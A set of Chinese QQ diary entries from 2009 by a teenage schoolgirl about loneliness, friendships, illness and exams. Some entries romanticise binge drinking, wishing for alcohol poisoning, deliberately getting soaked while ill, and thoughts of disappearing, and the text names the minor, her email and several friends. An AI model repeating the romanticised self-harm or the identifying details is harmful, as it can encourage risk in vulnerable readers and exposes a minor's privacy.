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下雪了 09年快要离开了

476770363@qq.com(光线　　　 -) — Sun, 15 Nov 2009 15:36:40 GMT

刚准备关QQ 突然又跑到窗户外面看了看
因为在11楼的缘故又近视的厉害之前说下雪了下雪了但并没有看到呢
刚刚打开窗户风就嗖嗖的窜进来又咳了起来
这下看清楚了因为雪的反光的原因吧天特别亮像雾一样
往下面看下去清流公园的草坪长廊上面已经盖了厚厚的一层雪呢
真好真漂亮果然的冬天了呢不再是以为的秋天呢
都已经下雪了所以才会生病的吧
星期三的期中考怎么办呢还是在家好好复习吧最好不要再出状况了
加油吧你很棒
明天开始一定要穿很多哦不要再只穿一条裤子了
明天开始每天都要喝很多很多的热水哦不要再喝咖啡了
明天开始仍然要很努力只是要吃很多哦不要再饿肚子了
你已经很瘦啦不要再瘦下去了要止住体重的下滑阿不然会很不健康的
所以在努力的时候要吃多点

希望明天可以堆雪人可是明天不能出去
明天还是把盐水拿到家里来掉吧就穿睡衣出去吧
因为棉棉的厚厚的很舒服软绵绵的很可爱
是阿女生要乖才可爱
明天还是得出去阿因为还要去学校把书拿回来这几天不用在学校里真好
也不用上晚自习也不用在半夜的时候在风里走了

明天还是把雪地鞋找出来吧要不要把那件毛绒外套翻过来穿呢？因为灰灰茸茸的真的很可爱阿
还有77要加油哦好人始终会有好报的我们知道你能挺下去的
77已经去日本了所以要更加油要像lena那样哦

好了下雪了去睡吧明天美美的起来吧希望明天不要再发烧了

本来要给你的留言可是太多了只好写成日志

476770363@qq.com(光线　　　 -) — Thu, 15 Oct 2009 15:40:28 GMT

该怎么说呢。
那天用手机看了你给我的留言和你刚更新的日志以后。
有很多话要说的阿。
本来之前想对你说的话是准备写在博客里的。
可是那天一个我自以为是的暂存就变的什么都没有了阿。
哎。
听着你空间的歌看着你写的东西
突然就又有好多话想说了。莫名其妙阿阿阿阿阿

记得自从不再和她接触了以后是有一段时间很孤独阿总是一个人的
可是那时候想去接触其他人又不敢去接触其实我不是一个不合群的人
我和陌生人接触的时候总是会担心会和她们没话说而让她们以为我很傲所以不想去接触
我发现呢我身边的女生只有你和辛姐仔细想想还真就只有你们两
我也发现我和男孩子接触比和女孩子接触自然多了男生朋友也比女生朋友多很多
真挺郁闷的
我这个人呢有的时候是有点胆子小的吧
可能我总是潜意识里认为因为性别不同所以他们不会欺负我不会站在同性的角度看我。
好像我对男生女生的观念是颠倒过来的。
所以可能因为这样有时候我总是异性缘特别好吧可能这也就是我没有什么女生朋友的原因。
因为在很多女生的眼里看来一个女生和很多的男生走得近这样的女生都是不惹女生喜欢的
女生朋友也只有像你和辛姐这种一心只为我好会担心我会想要为我做任何事情
好像恨不得把所有美好的事情都给我一样的女生朋友们。
所以我有时候就会太依赖你们就会太习惯你们的好就会把这种好当成理所当然。
很自私的一种理所当然。
可是有时候我又独立的太过分。挺莫名其妙的。你们无法在身边的时候我总是独立的太过分。
你们在的时候我总是像个小孩子。变不过来我也学不会怎么互换或者融合。
我不是很任性。我总是自己做不好很多该做好的事情。所以你们才会担心我心疼我想要对我好吧。
可是我又总是能做好很多不适合我这个年龄该去想该去做的事。所以有时候我总是对现在生活感到失望吧。

我知道你们也都有让你们难过的事情。也会想要别人像那样去关心照顾你们。
可是对不起。我总是不会做。我总是很自私的做那个一直让你们照顾的人。
而从来不去学着照顾你们。不去学着分担你们时不时的忧愁和烦恼。
我总是当面说不太好关心的担心的话阿。所以可能有时候你们和我说着你们遇到的烦心的事的时候。
我总是不说话或者随便说什么话糊弄过去。因为我根本不知道要怎么说才能安慰你们。
我怕一不小心又说错了什么话会让你们更难过。所以更多的时候我总是在听完你们的叙述之后岔开话题。
我真的是一个口头语言表达不灵活的人。
甚至有很多的时候和你们我都会担心我会突然语塞。怕你们觉得我对你们没话说。
辛姐几乎是从来不会和我说她的烦恼。总是她在分担我的难过。她从来不会对我说她的难过。
而我又没有太多的心思和心眼去观察。所以我觉得我很自私。
总是贪婪的汲取你们给我的温暖。而从不把温暖给你们。

我总是很幼稚在你们面前的时候。我也觉得很奇怪。为什么呢。
在辛姐眼里看来我永远是长不大的小孩。好像永远都需要在她的臂膀下享受她给予的温暖。
在你的眼里呢~我记不清了。也想不起来感受了。
反正似乎明明看起来你是被需要照顾的那一个。可也总是你在照顾我。我很郁闷阿。
我也总是在想。我到底是哪里看上去让觉得我是个孩子。我需要被保护呢？
其实一直都自我感觉的很成熟了阿心智很成熟了阿
每次我半开玩笑半认真的和你们自恋的说总是会被你们比我大声的话驳回去。
可是我真的觉得我的心智挺成熟了阿阿阿阿阿(= =可能是我想象力太丰富了总是能想出很多事情所以才成熟)

今天晚上吃饭的时候你打电话给我说你家店里停电了。
当时没多想~ 随便说了两句我说明天中午去你学校找你。
然后说了时间什么的就挂了。
后来回到家以后想了一下。那时候你是因为害怕所以才打电话给我的吧?
因为突然停电世界全部都黑了下来你因为想到我所以才打电话给我吧?
可是对不起那时候我没有多去想那么一点点对不起匆匆的就挂了电话
我一个人在家的时候害怕总是会找你过来不论多晚你总是立刻就到了
你说在我害怕的时候找你你不论在哪里都会立刻来到我身边。
你说不论天涯海角你都会陪着我。
我一直把这当成信仰来相信着。相信一个对我好的人给予我的好。

我一直都是一个没有安全感的人。在哪里看到的话说。
没有安全感的人总是会希望自己拥有很多很多的爱。
只有被很多很多的人爱着保护着才不会觉得孤独。
爱对这些人来说是维持生存必须的营养品维生素。

我不知道我究竟是不是这样的一个人呢?

前几天上午真的是很冷很冷很冷。几乎冷到我崩溃。
因为冷所以肚子才会痉挛会恶心吧。所以才会觉得非常不舒服的吧。
像是一个恶性循环。
因为冷所以肚子痉挛恶心所以身体几乎崩溃所以觉得更冷所以肚子越来越痉挛恶心所以……
所以持续的身体冒着冷气就像李琰描述的打开冰箱门的那种冷气全身都在散发那样的冷气
在冬天的冰箱里的那样的冷气在全身扩散着更多的时候从肩膀到脚尖的血液都像被冷冻过再注到我身体里。
所以太阳和下课成了我一天全部的课余活动。

我想所以冬天的人总是会进入冬眠的吧。

想说的又不知道要说些什么了。

　　　　　感谢论 ★

476770363@qq.com(光线　　　 -) — Sun, 09 Aug 2009 09:16:29 GMT

公元 1994 年 2009 年 16
我叫郑瑶。我是一个女生。在2009年的今天我是一个16岁的女生。
我是个快乐和悲伤都很明显的女生。
我喜欢打扮。喜欢一切漂亮又可爱的东西。
偶尔会遇到让我难过的事情。在这时候我的身边总有一些人出现来安慰保护我。
这让我很欣慰。我很感谢很感谢他们,还有她们。
我是一个很讨厌又害怕可是又习惯孤独的人。
我经常一个人做很多事。我经常觉得孤单。可是又不愿意去接近太多人。
不知道为什么,我渴望有很多很多很要好的朋友,是那种什么都可以说的朋友。
可是我总是不经意的防备着别人。我面带微笑的时候,心里却在狠狠的把那个人推向离我最远的地方。
我经常会推卸责任。我总是觉得是别人在疏远我。我总是觉得自己什么错都没有。
偶尔会有一个人指责我。我却会对他冷嘲热讽。
我有两个很爱我的人。而Ta们两个也是我最爱的人。我们三个的关系很复杂。
在09年已经过去一大半的时间里我们发生了翻天覆地的变化。
我偶尔会是一个很幽默的人。偶尔会笑的很可爱。偶尔会笑的很傻。
这种变化也只是在不经意间而已。不知道有谁发现过。
在大多数的时候我都是在微笑。
我偶尔会在难过到不行的时候写些东西放在空间里。
我知道偶尔它们会惹哭一些人。我知道偶尔它们会把一些人送进悲伤里。
我也不想这样。
我只有这样一个舒缓压力的方法。我没其他办法让我从阴影里走出来。
有时候我觉得空间就是我的命。我把所有的感情全倾注在里面。
我爱上一个人的时候我会在任何地方写上我爱你。
我生气的时候我会写点东西来发泄我的不满。
我难过的时候会一边流眼泪一边敲键盘写日志。
我知道我身边有很多的人都其实是很在乎很爱我的。
我也很爱Ta们。我也很在乎Ta们。
我难过的时候不知道为什么Ta们都能感觉的到。
都会在我快崩溃的时候来给我希望。我一直都记得
辛姐。我爱你。谢谢你对我那么好,让我觉得我在这个世界上是那么幸福。我们几乎从刚记事起就认识了,你一直都对我那么好。一直都像我姐。一直给我温暖。一直在我绝望的时候给我希望。除了Ta你是最了解我的人了吧。而且我发现你说的所有话我都会听,真奇怪,嘿嘿。记得小学的时候我可是很想保护你呢。我爱你。

陈璇。我爱你。我们虽然在一起的时间不算长,可是我的事情你几乎全知道了,嘿嘿。我也不知道为什么那天晚上会把我唯一的秘密跟你说,也许是酒精的原因吧。09年我喝到完全不行都是和你在一起。最难过的日子你也在我身边。记得前几次我上网的时候都会突然哭起来,你好像有点手足无措。哎,这种情况我也控制不了阿,所以如果上网的时候坐在我旁边的话,要做好心理准备阿。总感觉像是你在保护我。那么以后就换我保护你吧。我爱你。

刘坤。我爱你。哈哈,这个爱可不要误会了阿。谢谢你一直那么关心我。也许是因为我难过的时候心情和你难过的时候一样吧。谢谢你在我崩溃的时候疯狂的找我。我可是会永远记得的。我们其实认识的不算久吧。因为有共同爱好才玩到一起的。不知道我悲观的思想有没有影响到你,反正最好别被我影响,嘿嘿。我爱你。

念慈。我爱你。说实话我到现在都不确定我们到底有没有见过。你说见过可是我为什么一点印象都没有。嘿嘿。不知道为什么我就是喜欢开导你。有的时候和你说的一些道理我连自己能不能做到都不知道。可是觉得开导别人是件很幸福的事情。我知道你也希望我一直很幸福一直很快乐。我知道你也不希望我把自己弄的人不像人鬼不像鬼。我难过的时候你也会开导我。其实那时候我觉得你就像个天使,虽然你那时候说的话我大部分都听不进去。嘿嘿。你给我的感觉就是永远都在我身边。虽然我们不常说话。可是你给我的感觉总那么安稳。我爱你。

还有那么多那么多的人。
我一直都会把你们放在我的心里面。
我知道你们都不会让我一个人。我知道我难过的时候有你们陪着我难过。陈璇我知道我哭的时候你总是会帮我擦眼泪。辛姐我知道你总是可以让我依靠。
我觉得我郑瑶这辈子遇到你们真的是我的福气。
我其实真的是很幸福的人了。
我的身边其实没有坏人没有真正背叛我的人。
无论怎样。无论发生了什么事。我知道所有的事情都是有苦衷的。都是有原因的。
所以无论发生了什么事情我都不会去责怪。我应该觉得庆幸。应该觉得这是一个考验。

所以以前伤害我背叛过我的人我很谢谢你们。
谢谢你们让我学会了成长。
学会用宽容的心来看待一切。

也许也许也许吧

476770363@qq.com(光线　　　 -) — Thu, 30 Jul 2009 07:20:58 GMT

我想开了

宿醉的后果延续到今天
就像昨晚被人打了一顿又好像被人拖去掉了水
手上居然还有针孔。反正诡异的要死
我想如果所有人都离开自己了我就一个人吧
总有一天会有人回来的会对我继续像以前那样笑的
是吧

我不能悲观可是根本不受控制
每天都哭每天都在哭
现在的我可不是一个人了可是那么孤独的感觉却清晰的快要把我扼杀死
你会让我后悔吗
不会我会随便你们
我更希望你比我更幸福

今天看到WQY照片。觉得惊讶一下
才半年她的变化已经很大很大了。
她也开始化浓妆。她也变得很成熟、
突然的就难过到不行

就是会觉得身边的人每一个每一个都在变的跟我没有关系
我不想停留在原地特别是一个人
不知道为什么这几天天天都在哭

还是有人关心我的她还是很关心我的
还有他虽然我不喜欢他虽然会不习惯一个突然闯进我生活的人关心我
可是虽然还是被感动了可是还是不习惯阿
所以还是不要给他任何希望这样就不会有失望

说好了已经想开了的为什么眼泪还是把头发弄湿了呢
为什么为什么为什么为什么为什么为什么为什么

从今天开始我不会和他再牵扯到任何一点关系我不要再任性

我现在对很多事都已经是无所谓的态度
今天晚上我要去喝酒
我要喝三瓶白酒一打啤酒
喝的酒精中毒最好

就当做是告别对的是当做告别
是真的告别了真的

没错你要珍惜现在拥有的
所以从今天开始我就和你没有关系了

觉得有点搞笑吧
前几天我买了一个特别特别喜欢的礼品盒和小明信片
我说我要自己亲手做巧克力然后在明信片上写下每天的心情
收信人是亲爱的
然后写满31天再做31块巧克力放在礼品盒里
等到26号七夕那天我说我要去街上找一个不认识的人
把东西送给他
我觉得自己好好笑我不知道这样是不是真的可以找到那个所谓的亲爱的

那么所谓的亲爱的你会像他以前那样对我好吗
把我宠在手心里

好吧就这样了吧所以即使很无奈

就把今晚当做重生。不要再留在过去那些甜蜜的回忆里。
所以不管谁来管我。
我都不会听话。

我不知道她现在怎么样了我也不知道以前的那些人现在又怎么样了
我只想让我在乎的那些人都好好的就行了

唔　　　回归正常

476770363@qq.com(光线　　　 -) — Thu, 09 Jul 2009 08:01:44 GMT

恩。说真的我不想再这样下去了不想再这么悲观不想再在黑暗里挣扎下去。
我试着改变喜欢的颜色试着改变style试着改变讲话的声音试着改变说话的方式。
可是还是发现余事无补呢我也不知道为什么

现在是北京时间7月9日下午3点21分左右。
头和脖子疼的快要折腾死我了。耳朵里神经突突的跳的不停。
可是我还是把耳机的声音调到最大听着我喜欢可是却怎么都听不懂的日文歌。
即使头快炸开了。我还是有闲情逸致来说这些矫情的话呢。所以我很强大。
估计是前天淋了那么大那么久的雨的缘故吧。
其实我是故意的。

下雨前我看到天色那么灰我知道要下暴雨了。可是我还是沿着马路来来回回的走。
那天买了假睫毛以后去喝了一杯雪泡。出来以后本来打算直接坐车回家。
可是却突然难过起来。已经一个人很久了。再也没有了以前的生活。
从香港城到123来来回回的走。走到倾盆的大雨砸的我快昏过去。
我知道妈妈在家里等着我回家。我知道弟弟在家里等着我回去一起看动画片。
可是我难过的时候不想看见任何熟悉的人。
我拼命的护着手里才买的男生女生。我把手机夹在书里把书放在胸口抱着。
我用我的身体挡着暴雨。
出门前涂的浅浅的一层睫毛膏被雨冲洗的干干净净。
我突然发现自己已经很久没有再化浓妆了已经很就没有再拍照了已经很久没有再逛街了。
从麦当劳开始淋着雨走。我也不知道走了多久才走到家。我只知道到家的时候已经冷的快僵掉了。
只是那天突然的就很难过。雨水也许可以让我更清醒一点。
走过轩尼的时候。门口站着的学员让我进去躲雨。我只看了他们一眼继续往前走。
其实世界很美好。只是我已经不美好了而已。
好了，不说这些了。又伤感了。

前几天的时候把空间改成了纯白色。可是几天都没坚持住。又改了回来。
因为似乎这一切已经成了生命里习惯的一种表达方式。
所以在我的生活中朋友们看到我的样子永远都是很温柔笑眯眯的样子。
我总是告诉自己要笑要笑。估计已经成了强迫症。
就像如果不化妆不穿好看的衣服我轻易是不会出门的。
不管别人在不在意首先我自己心里会不平衡的。嘿嘿。
我只是喜欢更完美的自己。

偶尔想起TA还是会难过。只是已经不在乎那么多了。
因为现在才发现7年多的日子里我真的一点都不了解TA。我不知道TA是不是真的了解我。
TA从来都不和我说TA的生活。我门在一起永远都是吃喝玩乐。
好笑的是我居然一直把这样的假像当成最真诚的对待。
就当作我是看了一场电影。
我还会有以后。我有更好的人在等着我。

我迫不及待的想要对某个人一见钟情然后疯狂的爱上他
可是我发现总是没有那个人的出现于是我很失落哎
其实真的心里有个人满满的感觉真的很好。不管那个人喜不喜欢自己。
最起码自己心里有个目标有个期待。会有个勇敢的理由。
可是我不会刻意的去找那个人。我会等着他自己出现在我面前。
可是我发现以我现在的生活方式真的很难新认识什么人哎
每天见的人有爸爸妈妈弟弟还有去买东西时遇到的路人甲乙丙丁.....

好啦。我已经决定要改改心理了。不能再这样下去了。
我要乐观起来。我要每天都开开心心。我要不难过。我要化悲愤为力量。
开学就初三了。虽然还蛮期待但还是会有大大的怨气。
为什么就我们这个破学校上晚自习还要上到10点?
全滁州市唯一的打破记录的最不人道破破破破破学校。
你他妈的就欠我们再去告教育局。
你说你分班分就分吧。你天杀的每个班20人。你搞什么特殊化小班化教育阿?啊?
每班20人不就是说如果我睡觉的话就没多少人能帮我挡着。那我不是很危险?
虽然说有时候我睡觉老师不说。
哎。我认命了。最后一年了。我要靠我自己的实力考上一中。加油。
就最后一年了。我认栽了。
650分你等着我。虽然说我体育差的不能再差了。体育加试我不抱希望拿30分。
所以我他大爷的要每天熬夜了。(这两人晃的真不协调)
我又得继续和咖啡联系感情了。
好了好了。大家就祝福我吧。一年后的现在旗开得胜(虽然祝福的有点早)

过几天妈妈他们就回去了。也就是说我的钱又有着落了。
我得狠狠敲他们一笔。
然后疯狂购物。话说这几天我妈真给我买不少东西。哈哈
我得赶快把网银的动态口令补办。哎。好烦。

我发现现在小俺笑的真是越来越可爱了。
齐刘海也越看越可爱了。前几天小俺在宜家拍的光线真温暖。

我现在很开心。

14日。暴雨倾城。

476770363@qq.com(光线　　　 -) — Sun, 14 Jun 2009 14:42:35 GMT

14日。暴雨倾城。

闪电雷鸣。只有我一个人。永远的一个人。再也不会有第二个人的一个人。
穿着有玫瑰花的拖鞋。我不知道要怎么去离开。我不想哭。
闪电闪耀着蓝色眼睛的光芒。倾城的大雨就像永远也休止不住的利刃。
我没有伞。我身边有很多陌生人。我不能走路。我回不了家。
我找不到一个人。我不知道要找谁。我不知道谁能来带我走。
一个人踌躇着站在街边。看着一对又一对的情侣一起撑着伞从东走到西。
看着淋湿的刘海。我想世界末日了。可是我还没有死。我会被黑暗压死。我会喘不过来气。
于是我慢慢的走。额头已经滚烫。开始泛晕。贫血一直都很严重的阿。
眼前就快要看不见任何一个东西。看不见任何一个人。
空荡荡的马路一辆车都没有。我想我快死了。我不能就这样晕倒在马路上。
我不能让别人以为我是没有人要的孩子。我不能让别人觉得我很可怜。
我不知道什么时候才会有人来把我带走。我不知道可以打电话找谁来带我走。
在手机上翻着一个又一个号码。眼泪顺着清澈的屏幕淌下来。
我的身边真的没有一个人可以来救我。真的没有一个人可以让我依靠。
翻到一个号码。已经沉寂两个月的号码。我第一个想到的就是他。
我想打电话给他。我想告诉他我害怕。我想告诉他我快晕倒了。我想告诉他世界就我一个人了。
可是我知道我不能打电话给他。我知道我不能这么残忍。
所以我仍然一个人。我一个人。
虽然连眼泪都变的滚烫。虽然四肢像快要断掉一样。虽然我想要马上躺下来。
我都没有疯狂的掉眼泪。我的眼泪已经流干了。再也流不出眼泪了。
再也不想承受那么多了。
为什么不出现一个人带我走。为什么没有一个人可以给我肩膀让我靠。
我累了。我真的很累。我想爱上一个人。即使随随便便都好。我不想这样。
可是为什么我爱不上任何一个人。为什么。
这个世界不公平。真的不公平。
我也想骄傲的在资料写某某某我爱你。
我也想骄傲的和谁手牵手一起过马路。然后看着他担心不让我闯红灯。
我一直都喜欢闯红灯。我过马路从来不看车。以前我的身边总有人在我闯红灯的时候拉住我不让我走。
可是现在一个人都没有了。

14日。暴雨倾城。

暴雨洗刷了尘土。洗刷了血迹。洗刷了夏天。洗刷了世界。可是洗刷不了我罪恶的一切。
我看见了背叛。我看见了泪水。我看见了恨。我看见了离别。
我的眼睛已经污浊不堪。
暴雨倾城。

我快要到了末日。

唯一一次公开。祭奠。

476770363@qq.com(光线　　　 -) — Fri, 12 Jun 2009 14:04:54 GMT

以此祭奠我逝去的十五岁黑暗生活。
以此祭奠我曾经厌恶的异地生活。
以此祭奠我没有阳光的去年。
以此祭奠我差点死掉的2008。

脆弱的生命
发着高烧,头痛的要命,
什么都来不及想完,思绪就被阵阵袭来的痛觉打断,
胃好痛,比抽筋的滋味还难受,
终于承受不住了,跑到办公室,和老师要了一张请假条,
匆匆忙忙的走出学校,
下午3点的阳光真的太刺眼,
映着昏昏沉沉的我,
手扶着墙,一步一步的走着,
面前的影子好象越来越模糊,坚持着,
头越来越痛,喉咙干涩的更厉害了,咽了下口水疼的就像裂开来,
不停的咳嗽,恨不得把心脏都咳出来,
这副身体,还能坚持多久?
真的走不动了,索性靠在墙边,在树阴下蹲着,
眼泪全部涌了出来,喉咙里发不出一点声音,
干涩着,难受,
站起来,好晕,手赶紧扶住旁边的墙壁,又是那种晕眩,
过了一会,稍微缓和了一会,
继续接着走,
好象有刺耳的喇叭声传进耳朵里,那么尖,
向那个声音看去,又开始模糊了,好象成了两个影子,
浑浑噩噩的走过去,喇叭声越来越响,越来越密,越来越急,
根本来不及想会发生什么,赶紧退了回来,
有些清醒了,但脑子仍然昏昏沉沉,
看着对面的人行道,只想快点走过去,
不理会车子里面的人骂骂咧咧,我只当作若无其事,
头疼的恨不的往墙上撞去,

走了好久,
终于到家了,打开门,躺在床上,望着天花板,
眼睛空洞的好象世界都不存在,
头好疼,蒙着被子,浑身都出汗了,
难受,就是难受,
把家里翻遍了,也没找出来一颗药,
呵呵,我什么时候吃过药的呢,哪里会有药呢,
哎,
如果一切都超过了我的承受范围,
我会永远消失,

不安静的夜晚
现在,感觉是什么 ?就像没感觉,麻木了一样,
多么难熬的夜晚,多么疯狂的夜晚 ,
酒精麻醉着自己,胃痛纠结着自己

11点多,看着静止的QQ,没有感觉,没有压抑的感觉,没有痛苦的感觉,
什么感觉都没有了,好想释放开来,想要变的疯狂,
设置好QQ,锁上门,拿好钱,走到乌黑的马路上,
没有路灯,很暗,不时的有人从身边走过,没有注意,
等到他们经过时,突然停下来,回头看,那个人是不是认识,
好冷,只穿了一件很长到膝盖上面的短袖T恤,一双夹脚凉拖,好冷,
不停的咳嗽,前几天的病还没有好,也没有吃药,好烦躁,
有点累,停了一下,看看前面昏暗的灯光,快到了,
咳嗽一刻不停的,冷风不停的吹着我,刮在脸上,有点疼,不自觉的胳膊抱紧身子,
不记得走了多久,终于到了,
一个简陋的摊子,老板很看上去四五十多岁了,很慈祥的样子
点了好多我爱吃的,最后要了4瓶啤酒就坐了下来,
冷冷清清的马路就这个拐角的灯光亮着,目光空洞的望着带着风声的马路,
有好多树叶落在上面,好多灰尘,然后脑子一片空白,
好冷,又把衣服裹紧了些,可是那么单薄的一件,笑了笑,居然还是有点露肩的,
老板把东西拿过来了,对我笑了笑
小姑娘,这么晚了还出来,穿这么少不冷啊,
我朝他笑了笑,摇了摇头,没关系,
可是不停的咳嗽,却惹的老板摇了摇头,
把啤酒一瓶瓶打开,吃着面前的东西,不停的喝着酒,
眼泪却又不停的下来了,不断的,挪开手,慌乱的抹着脸,
可是眼泪总是不停,索性不管它了,继续拿着酒瓶,靠着墙,不停的往肚子里灌着酒精,
胃一直在痛,想了想,中饭没吃,晚饭好象也没吃,
好象从早上10点多起来一直坐在电脑前坐到现在,好象一点东西都没吃,
我也不记得了,我也不想记得了,
胃绞痛一样的,好象拿着细线一圈一圈的勒紧的,然后猛的拉紧,
好象有什么东西从胃里溢出来,赶紧冲到垃圾桶旁,然后刚刚吃下去的东西全部吐了出来,
带着浓浓的酒味,
无力的走回到位子上,诺大的天空下只有我和昏暗的灯光,
眼睛变的干涩,想哭,又哭不出来了,
继续拿着酒瓶往胃里灌着酒精,舌头已经被麻痹了,尝不出来什么味道了,
又要了两瓶啤酒,
老板皱着眉头说,小姑娘,少喝点,身体会受不住的,
我浅笑了下,微微摇了摇头,没关系,我受的住,我身体很好,
一开始的4瓶全部都喝完了,桌子上的东西还有一些,有些反胃的望着它们,
又有些想吐,忍住了,
第5瓶刚喝第一口,开始猛的咳嗽,咳嗽带着刚喝的第一口,呛住了,眼泪随着嘴巴里刚喝的酒全部出来了,
咳嗽停了,休息了一下,有些眼神呆滞的看着马路,没有半分钟又回过神来,
靠着墙,手里拿着酒瓶,继续往嘴巴里灌着酒,
胃继续痛着,不想管它了,就让酒精麻痹我的思维吧,
第6瓶喝完了,付了钱,起来离开,老板说,小姑娘,晚上回去小心点,
我对他笑了笑,谢谢,
靠着墙,昏昏沉沉的走着,可是思维却清楚的很,
虽然步子有些紊乱,今天不错了,笑了笑,记得以前自己是3瓶就醉的呢,今天喝了6瓶呢,
摇摇晃晃的贴着墙走,远离后面的灯光越来越远,
好累,好冷,胃好痛,头好痛,咳嗽越来越厉害,
身子好象越来越烫,下意识的摸了摸额头,烫的厉害,
皱了皱眉头,又发烧了? 我只吹了一会风啊,
浑身焦灼着,惟独胃痛的厉害,咳嗽的厉害,
寂静的路上大概只能听我咳嗽和喘气的声音,
冷寂的吓人,
真的好累,一点都不想走了,索性靠在墙边蹲下来,
头坑在膝盖里,眼皮越来越重,身子也越来越烫,
忽然觉得不能蹲在这里,万一睡着了怎么办,
如果睡着了,到了明天早上,是不是会死掉?
于是努力的站起来,继续靠着墙走着,
走了几分钟后,终于到了,很庆幸自己住的这么近,
打开门,躺到床上,爸妈早已经睡了,在这边,他们不管我,
刚躺到床上,胃里的种种的不适又出来了,
迷迷糊糊的感觉好象灯被关了,门被关了,鞋子被脱了,被子盖到身上了,
然后一切又安静下来了,
突然的睁开眼,爬起来,打开电脑,登上QQ,
却不知道干什么,
胃好痛,真的好痛,好难受,

金钱社会与现实
疯狂的肆虐着,像被吞噬的不安,
不停的,不停的,不停的,
郭敬明笔下的思绪勾起了我一段又一段记忆,
那样的逻辑完全感染了我,
一片又一片的,大意的渲染着,
眼泪随着忙乱不堪的文字一滴又一滴落下,
我多么想做一个顾里,
可以不管在任何情况下,在任何时候,
都能够冷静的,明智的,冷漠的,甚至残忍的女人,
可以在任何情况下都可以让人安心的,
可以守护别人的顾里,
那样坚不可摧的顾里,
那样的林萧,慌乱守护爱情的林萧,
疯狂爱着顾里的顾源,
爱上一个毁灭她人生的男人的南湘，
小时代所阐述出的一切背景及人物及情节
让我苦想着，
那样的章节让我疯狂的迷恋着,
让我不知不觉的被它缠绕着,
想了很多
我觉得我如此的庸俗,
被眼前虚华的景象所蒙蔽,什么才是现实?
我了解到了,
那就是LV,那就是hermes,
那就是几千块上万块一个平米,
那就是保时捷,那就高消费,
这才是现实,这才是我们以后该面对的社会,
而我们,现在都在做什么?我们都在想些什么?
吃父母的饭,很满足?很奢华?很有成就感?
哦,不,我完全不能想象以后的生活会怎样,
腐烂?还是尊贵的奢侈?
这个定义不在别人,全在于我,
这种人生观让我开始冥思,
我不能决断我考虑了这些后我能做些什么,
继续在忙碌的网络里腐蚀?
还是全然的投入到我的学业中去,
当然,我相信我肯定会选择后者,
我不知道你们看了我这篇日志的人会想到些什么,
会评论些什么,会做些什么,
请你们自己的构想一下自己的未来,
是散发着恶心的腐烂味,还是充满着芳香的香水味,
无论你现在的生活是怎样,
都请你们自己的想一想,我还来得及,
我如果现在努力,为了我将来的奢华拼搏,来的及,
我自我觉得这篇日志是发自我肺腑的是来自社会现实熏陶后的觉悟,
父母不是摇钱树,不是金矿,懂吗,
如果你的父母不能给你高消费的熏陶,
那么,你怎么没想过自己创造呢?
好了,我也不想多说什么了,
都好好想想吧,

那样的局促
9月19日
下午4点,
校门口,熙攘的家长,学生与过往的人群,车子,
太阳,从来没有停止过照射,
强烈的阳光照在身上,身前,身后,让我不得不眯起眼睛看着街道,
身边走过的人,都穿着同样的校服,白衬衫,蓝裤子,
突然有那么一刻的嘲笑自己,看着自己身上的校服,
本来就不属于,为什么要强迫?
旁边的人帮我买了串糖葫芦,
鲜红的鲜红的,就像我的血,像那红水笔的颜色,我看见过,
外面包了一层塑料皮,很薄很薄,那个,能吃吗?
嘴角微微上扬了15度,于是挪开自己拿书的手,
很仔细很仔细的一点一点剥开,
咬了一口,酸酸的,咬到一颗籽,为什么还有点痛?皱了皱眉头,吐出来,
一堆红色,稠稠的,嘴巴里好象还带着丝丝血腥味,
把剩下的快要溢出来的带着血腥味的红色液体用力吞下去,
于是血腥味越来越浓,微微散开来,
看着手中那个被咬下一点的红色山渣,皱了皱眉头,直接把它仍在旁边的路上,
旁边的人微微惊讶的看了看我, 很难吃吗? 她问我,
我没说话,微微摇了摇头,眼睛看了眼地下的那摊红色,
你啊,她又说, 这两个字是什么意思呢?想了好久,便决定不再想了,
走上那座桥,望着太阳,这座桥走了1年多了,
每天早上看着东边还没完全升起的太阳,然后晚上放学看到漆黑天空中的月亮,
那条运河里每天都有好多好多的船过往,虽然只有早晨和晚上可以看见,
耳边的她不听的说着,说着她和他的事,说着好多人,
我只是微笑,看着她不停说着那些认识的和不认识的人,
偶尔耳边的声音有时骤然变的模糊,胸口闷的像不存在这个世界上一样,
然后耳边的声音又会变的很清晰,然后刚才的一切就像没发生一样,
走下那座在运河上的桥,拐弯,朝每天那个同样的目的地走去,
她也不在耳边叫喧了,她也朝着她每天那个同样的目的地走去,
停下来,转身,看着那个突然安静下来的背影,
她静静的走着,宽大的校服不时被风吹的左右摆,
微笑着看她走过那条拥挤的马路,直到她在我的视线里模糊,
周围的人还是同样的吵闹,皱了皱眉头,转过身,有些厌恶带着埋怨的看向周围那一群一群的人,
谁都没有注意到我,谁也没有看到我对他们的厌恶,所以,谁都不会反思自己的恶心,
走着,向那个重复了好多好多遍的目的地走着,
路边有好多好多店,简陋的,精致的,好看的,庸俗的,比比皆是,
刺耳的汽车鸣笛一刻不停不响着,好烦,于是加快了脚步,想着快点离开这里,
又想着慢点,这样时间消磨的快些,可以在那同样的时间里,少做些事,
这样,省下来事情便可以推进那些剩余的时间里,
一天一天的消耗着,一边走着,一边想着桌角贴着的倒记时,
前面的人群似乎多了起来,抬起头,哦,是这个超市,
像想起了什么,抬起脚走了进去,里面的人男男女女的到处都是,
走到巧克力专柜,拿起一块臻仁的德芙,慢慢的像付款处走去,步子越来越慢,像没了力气,
面无表情的听着收银员说着我听不懂的语言,看了下那个机器上显示的数字,付了钱,走开,
夏天,巧克力都很软,手里的这块也是同样,
慢慢的撕开,那闪着光的塑料皮就像橘子皮一样很简单的打开了,
香甜的味道随着空气被我吸进心脏,缓慢的走着,似乎比刚刚的速度慢了好多好多,
想走快些,可是腿好象不听我的,还是极缓慢的前进着,慢慢的咬着带着臻仁的德芙,
滑滑的,有些满足的扬了扬嘴角,甜甜的,这种味道,虽然很好吃,但是并不好闻,
有些晕眩,走到十字路口的时候,好象太阳光突然变的可怕了起来,
有些站不稳,手里的德芙差点滑下手去,于是定了定,眼睛尽量闭开那阳光,
使尽好大的力气才走到旁边的角落去,靠在墙上,粗粗的喘着气,这里的阴凉很多,很舒服,
手上的德芙还有很多,微微摇了摇头,确定能站稳了以后,便离开那片阴凉,
好象又恢复了,好象那些刚才的混乱都不曾出现过,
于是又慢慢的向前走着,慢慢的咬着手中的德芙,
不知道是什么时候听谁说的了,吃巧克力有益健康,可以补充身体的营养,
于是就爱上了德芙,不是因为身体,而是我喜欢它的味道,
慢慢的,手中的德芙不知道什么时候吃完了,袋子也不见了,
抬起头,便看见那扇大的门,锁着我的门,
